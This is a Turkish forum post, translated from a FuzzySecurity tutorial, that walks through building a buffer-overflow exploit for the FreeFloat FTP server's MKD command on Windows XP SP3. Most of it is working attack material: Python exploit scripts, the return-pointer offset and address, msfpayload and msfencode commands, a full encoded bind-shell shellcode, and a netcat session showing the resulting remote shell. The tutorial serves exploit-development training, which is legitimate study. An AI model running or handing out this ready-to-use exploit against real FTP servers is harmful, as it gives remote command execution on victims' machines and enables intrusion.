Windows Exploit Geliştirme Serisi #2 | Saved Return Pointer Overflows

Gauloran

Global Moderatör
7 Tem 2013
8,127
618
Windows Exploit Geliştirme Serisi #2 | Saved Return Pointer Overflows

İlk exploitimiz için, EIP overwrite ve CPU kayıtlarımızdan birinin büyük bir bölümünü işaret ettiği en basit senaryo ile başlayacağız. Bu bölüm için, "FreeFloat FTP" için sıfırdan bir exploit yaratacağız. Burada "FreeFloat FTP" için oluşturulmuş çeşitli exploitlerin listesini bulabilirsiniz. https://www.exploit-db.com/search/?action=search&filter_description=freefloat

Normalde badcharacter(kötü karakter) analizi yapmamız gerekirdi, ancak ilk konu olduğundan dolayı exploit-db'deki önceden var olan ****sploit modüllerinde listelenen kötü karakterlere güveneceğiz. Listelenen karakterler bunlar: ”\x00\x0A\x0D”. Bu karakterleri daha sonrasında lazım olacağı için aklımızda tutmamız gerekiyor.


Exploit Geliştirme: Backtrack 5
Hata Ayıklama Makinesi: Windows XP PRO SP3
Savunmasız Yazılım: https://www.exploit-db.com/wp-conte...cbbf5b2506e80a375377fa-freefloatftpserver.zip

Çökertme İşlemi

Öncelikle, FTP sunucusunu çökertmek için bir POC exploiti oluşturmamız gerekiyor. Buna sahip olduğumuzda, exploitimizi oluşturmak için üzerine inşa edebiliriz. Benimkini aşağıda görebilirsiniz, exploit-db'de bulduğum "FreeFloat FTP" exploitlerine dayandırdım. FTP sunucusuyla yapılandırılmış olarak gelen önceden var olan "anonim" kullanıcı hesabını kullanacağız (exploit, tüm geçerli oturum açma bilgileriyle çalışmalıdır).

Kod:
#!/usr/bin/python
 
import socket
import sys
 
evil = "A"*1000
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Tamam, şimdiye kadar gayet iyi. hata ayıklayıcıyı FTP sunucusuna eklediğimizde ve POC arabelleğimizi gönderdiğimizde program çöküyor. Aşağıdaki ekran görüntüsünde EIP'nin üzerine yazıldığını ve iki kaydın (ESP ve EDI) arabelleğimizin bir bölümünü içerdiğini görebilirsiniz. Her iki kayıt dökümünü de analiz ettikten sonra ESPdaha ara belleğimizin büyük bir bölümünü içerdiği için daha umut verici görünüyor (ancak, EDI'de başlayan bir exploit yaratmanın kesinlikle mümkün olduğunu belirtmeliyim).

part2-a_big.png


EIP'nin Üzerine Yazma

Daha sonra, çöküşü yani crash'i analiz etmeliyiz, bunu yapmak için A'larımızı ****sploit modeliyle değiştirmeli ve ara belleğimize yeniden göndermeliyiz. Değişen bir arabellek uzunluğu programın çökmesini de değiştirebileceğinden dolayı, orijinal arabellek uzunluğunu korumaya dikkat edin.

Kod:
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6A
y7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc
2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7
Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Program tekrar çöktüğünde, yukarıdaki ekran görüntüsündeki ile aynı şeyi görüyoruz, ancak EIP (ve her iki kayıt da) artık ****sploit modelinin bir parçası tarafından üzerine yazılmış oluyor. "Mona" nın ağır işlerin bir kısmını yapmasına izin verme zamanı geldi. Hata ayıklayıcısına aşağıdaki komutu verirsek, programın çökmesini analiz eden "mona" olabilir. Bu analizin sonucunu aşağıdaki ekran görüntüsünde görebilirsiniz.

part2-b_big.png


Analizden, ara belleğimizin ilk 247 baytından sonra doğrudan 4 baytlık EIP'nin üzerine yazıldığını görebiliriz. Daha önce de söylediğim gibi, ESP'nin ara belleğimizin daha büyük bir bölümünü içerdiğini de görebiliyoruz, bu yüzden exploitimiz için daha uygun bir aday. Bu bilgileri kullanarak, yukarıdaki POC'umuzdaki kötü ara belleği şöyle görünecek şekilde yeniden düzenleyebiliriz:

evil = "A"*247 + "B"*4 + "C"*749

Değiştirilmiş ara belleğimizi tekrar gönderdiğimizde, tam olarak beklediğimiz gibi çalıştığını görebiliriz, EIP'nın üzerine 4 B'miz yazılır.

part2-c_big.png


Bu durum, B'leri yürütme akışını ESP'ye yönlendiren bir işaretçi ile değiştirebileceğimiz anlamına gelir. Aklımızda tutmamız gereken tek şey, işaretçimizin herhangi bir kötü karakter(badcharacter) içeremeyeceğidir. Bu işaretçiyi bulmak için aşağıdaki komutla birlikte “mona” yı kullanabiliriz. Sonuçları aşağıdaki ekran görüntüsünde görebilirsiniz.

part2-d_big.png


Görünüşe göre bu işaretçilerden herhangi biri işe yarayacak, OS dll'lere aitler, bu yüzden "WinXP PRO SP3" e özgü olacaklar fakat bu bizim endişelenmemiz gereken ilk şey değil. Listedeki ilk işaretçiyi kullanabiliriz. CPU'nun Little Endian mimarisi nedeniyle bayt sırasını tersine çevirmemiz gerekeceğini unutmayın ve aşağıdaki sözdizimini inceleyin.

Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
Buffer: evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749

Sizin ve başkalarının düzenleyebilmesi için exploitinizi düzgün bir şekilde belgelemenin önemli olduğunu vurgulamalıyım. Son aşamada POC'umuz şöyle görünmelidir.

Kod:
#!/usr/bin/python
 
import socket
import sys
 
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
 
evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Tamam, programı hata ayıklayıcıda yeniden başlatalım ve işaretçimize bir kesme noktası koyalım, böylece hata ayıklayıcı ona ulaşırsa duraklayacaktır. Aşağıdaki ekran görüntüsünde görebileceğimiz gibi EIP'nin üzerine işaretçimiz tarafından yazılıyor ve bizi ESP'de bulunan ara belleğimize getirmesi gereken kesme noktamıza ulaşıyoruz.

part2-e_big.png


Shellcode

Neredeyse bitti, dayanın :d Shell kodumuz için bir değişken eklemek için (1) POC'umuzu biraz değiştirmemiz ve (2) keyfimize göre bir payload eklememiz gerekir. POC ile başlayalım, şimdi C'lerden oluşan ara bellek kısmına payloadımızı ekleyeceğiz. Arabellek uzunluğunun dinamik olarak değiştirilmesini istiyoruz, böylece farklı boyutta bir payload eklersek (toplam arabellek uzunluğumuz 1000 bayt kalmalıdır) yeniden hesaplamamıza gerek kalmaz. Ayrıca yükümüzün önüne ek olarak bazı NOP'leri (İşlem Yapılmadı = \ x90) eklemeliyiz. Sonucu aşağıda görebilirsiniz. Shellcode değişkenine eklediğimiz herhangi bir shellcode, buffer overflow'umuz tarafından çalıştırılacaktır.

Kod:
#!/usr/bin/python
 
import socket
import sys
 
shellcode = (
)
 
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
 
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Şimdi geriye kalan tek şey bir shell kodu açmak. Shell kodumuzu oluşturmak için msfpayload kullanacağız ve kötü karakterleri filtrelemek için çıktıyı msfencode'a yönlendireceğiz.

Kod:
root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns     Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp            Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a 
                                  command shell
[...snip...]

root@bt:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 <[email protected]>
  sf <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell
  
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b  '\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 368  (iteration=1)

unsigned char buf[] = 
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92";
Kodu biraz güzelleştirdikten ve ilgili notları ekledikten sonra son exploitimiz hazır olacaktır.

Kod:
#!/usr/bin/python
 
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 2 of my Exploit Development tutorial series... #
# http://www.fuzzysecurity.com/tutorials/expDev/2.html                             #
#----------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                                   #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                        #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
#                                                                                  #
# C:\********s and Settings\Administrator\Desktop>                                 #
#----------------------------------------------------------------------------------#
 
import socket
import sys
 
#----------------------------------------------------------------------------------#
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c #
#
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)                     #
#----------------------------------------------------------------------------------#
 
shellcode = (
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")
 
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#
 
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Aşağıdaki ekran görüntüsünde “netstat -an” komutunun önceki ve sonraki çıktısını görebiliriz ve altında bind shellimize bağlandığımızda Backtrack terminal çıktısına sahip olduğumuzu görebiliriz.

part2-f_big.png


Kod:
root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\********s and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

C:\********s and Settings\Administrator\Desktop>
Source: https://www.fuzzysecurity.com/tutorials/expDev/2.html
Translator @Gauloran
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.